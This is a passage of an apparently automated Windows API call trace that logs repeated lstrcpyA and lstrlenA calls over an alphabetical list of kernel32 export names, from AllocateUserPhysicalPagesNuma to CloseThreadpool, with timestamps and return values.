(lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0086.198] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0086.198] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0086.198] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0086.198] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0086.199] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0086.199] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0086.199] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0086.199] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0086.199] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0086.199] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0086.199] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0086.199] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0086.199] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0086.199] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0086.199] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0086.199] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0086.199] lstrlenA (lpString="BACKUPREAD") returned 10 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0086.199] lstrlenA (lpString="BACKUPSEEK") returned 10 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0086.199] lstrlenA (lpString="BACKUPWRITE") returned 11 [0086.199] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0086.199] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0086.200] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0086.200] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0086.200] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0086.200] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0086.200] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0086.200] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0086.200] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0086.200] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0086.200] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0086.200] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0086.200] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0086.200] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0086.200] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0086.200] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0086.200] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0086.200] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0086.200] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0086.201] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0086.201] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0086.201] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0086.201] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0086.201] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0086.201] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0086.201] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0086.201] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0086.201] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0086.201] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0086.201] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0086.201] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0086.201] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0086.201] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0086.201] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0086.201] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0086.202] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0086.202] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0086.202] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0086.202] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0086.202] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0086.202] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0086.202] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0086.202] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0086.202] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0086.202] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0086.202] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0086.202] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0086.202] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0086.202] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0086.202] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0086.202] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0086.202] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0086.203] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0086.203] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0086.203] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0086.203] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0086.203] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0086.203] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0086.203] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0086.203] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0086.203] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0086.203] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0086.203] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0086.203] lstrlenA (lpString="BEEP") returned 4 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0086.203] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0086.203] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0086.203] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0086.203] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0086.203] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0086.204] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0086.204] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0086.204] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0086.204] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0086.204] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0086.204] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0086.204] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0086.204] lstrlenA (lpString="CANCELIO") returned 8 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0086.204] lstrlenA (lpString="CANCELIOEX") returned 10 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0086.204] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0086.204] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0086.204] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0086.204] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0086.204] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0086.204] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0086.204] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0086.205] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0086.205] lstrlenA (lpString="CHECKELEVATION") returned 14 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0086.205] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0086.205] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0086.205] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0086.205] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0086.205] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0086.205] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0086.205] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0086.205] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0086.205] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0086.205] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0086.205] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0086.205] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0086.205] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0086.205] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0086.205] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0086.206] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0086.206] lstrlenA (lpString="CLOSESTATE") returned 10 [0086.206] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0086.206] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0086.206] 